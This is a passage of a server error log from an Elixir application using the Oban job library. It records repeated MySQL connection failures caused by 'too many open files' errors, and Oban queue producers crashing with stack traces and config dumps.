State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:14:02.240651Z], limit: 5, uuid: "41f88222-45e8-4331-954e-911c5cc38a75", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.240656Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51249>, refresh_timer: #Reference<0.2525715032.1068498948.51206>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:17.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:19.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:25.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:14:15.239942Z], limit: 3, uuid: "48344e20-b0c7-4de4-b17e-b4b64d6bee07", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.239948Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29081>, refresh_timer: #Reference<0.2525715032.1077673987.29080>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:14:15.239108Z], limit: 10, uuid: "93ba1229-813a-46b3-92fc-44d764726b8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.239117Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52493>, refresh_timer: #Reference<0.2525715032.1099431938.52492>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:14:15.241663Z], limit: 5, uuid: "4eb3f311-65f9-4d24-88e3-207bae4a90cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.241668Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52504>, refresh_timer: #Reference<0.2525715032.1077673987.29110>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:14:15.241126Z], limit: 5, uuid: "b39b654c-5b52-48db-8579-96da79306961", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.241131Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29144>, refresh_timer: #Reference<0.2525715032.1121189889.168087>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:14:15.241004Z], limit: 50, uuid: "66e579a0-9b51-4879-af99-4585fa35f3c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.241010Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52505>, refresh_timer: #Reference<0.2525715032.1121189889.168085>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:14:15.240983Z], limit: 20, uuid: "4cae165a-d534-466f-b05f-ace4d8e62c62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:15.240988Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29143>, refresh_timer: #Reference<0.2525715032.1077673987.29099>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:30.324000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:30.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:31.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:32.610000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:33.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:33.875000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:36.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:38.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:14:27.241127Z], limit: 5, uuid: "d6ebdd52-4482-4304-99c0-0b9ea7bf0abf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.241133Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29293>, refresh_timer: #Reference<0.2525715032.1068498948.51361>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:14:27.240756Z], limit: 5, uuid: "3f68dd2a-ad14-46ab-8103-fccd2672334c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.240761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29292>, refresh_timer: #Reference<0.2525715032.1077673987.29289>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

